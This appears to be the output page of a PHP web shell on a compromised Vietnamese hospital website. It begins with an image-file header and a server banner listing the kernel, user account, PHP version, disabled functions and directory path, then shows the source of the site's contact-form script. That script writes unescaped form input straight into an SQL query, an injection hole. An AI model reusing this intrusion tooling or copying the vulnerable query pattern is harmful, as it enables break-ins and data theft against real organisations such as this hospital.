ÿØÿà JFIF ` ` ÿþ
Server : Apache/2 System : Linux vps.phamthanh.local 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 User : benhviencoc7 ( 1008) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname Directory : /home/benhviencoc7/domains/benhviendkkvcampha.vn/private_html/ |
Upload File : |
<?php /*----------------------------------------*\ | Copyright © C-ILY | | Phone: 0983.998.994 | | Y!m: notepad.html | | Email: truongpv87@gmail.com | \*----------------------------------------*/ define('CILY',true); include('#includes/config.php'); if($_POST['action'] == 'send'){ if($_POST['captcha'] != $_SESSION['captcha']) { $_SESSION['contact']['email'] = $_POST['contact_email']; $_SESSION['contact']['name'] = $_POST['contact_name']; $_SESSION['contact']['tel'] = $_POST['contact_tel']; $_SESSION['contact']['title'] = $_POST['contact_title']; $_SESSION['contact']['message'] = $_POST['contact_message']; $_SESSION['contact']['add'] = $_POST['contact_add']; Redirect('Mã xác nhận bạn nhập không đúng', $_SESSION['link_contact']); } else { $email = ($_POST['contact_email']); $fullname = ($_POST['contact_name']); $phone = ($_POST['contact_tel']); $title = ($_POST['contact_title']); $content = ($_POST['contact_message']); $add = ($_POST['contact_add']); $time = time(); $add_contact = @mysql_query("INSERT INTO cily_contacts (contact_email, contact_name, contact_phone, contact_add, contact_title, contact_content, contact_time) VALUES ('$email', '$fullname', '$phone', '$add', '$title', '$content', '$time')"); if(!$add_contact) { Redirect("Có lỗi xảy ra, bạn sẽ được chuyển về trang chủ!!!",$_SESSION['link_contact']); } else { $title = $fullname.' Liên hệ'; $content = $fullname.' Cần được tư vấn dịch vụ, <br>'.$content.' <br> Liên hệ qua email '.$email; $nTo = 'BENHVIENDKKVCAMPHA.VN'; $mTo = 'quanlychatluongbvdkkvcp@gmail.com'; $diachi = 'quanlychatluongbvdkkvcp@gmail.com'; //test gui mail $mail = sendMail($title, $content, $nTo, $mTo,$diachicc=''); if ($mail==1){ Redirect("Bạn đã gửi thông tin liên hệ thành công. Bạn sẽ được chuyển về trang chủ!!!",get_option('url')); } else { Redirect("Có lỗi xảy ra, bạn sẽ được chuyển về trang chủ!!!",$_SESSION['link_contact']); } Redirect("Bạn đã gửi thông tin liên hệ thành công. Bạn sẽ được chuyển về trang chủ!!!",get_option('url')); unset($_SESSION['contact']); } } } else { echo 'Hacking attempt'; } ?>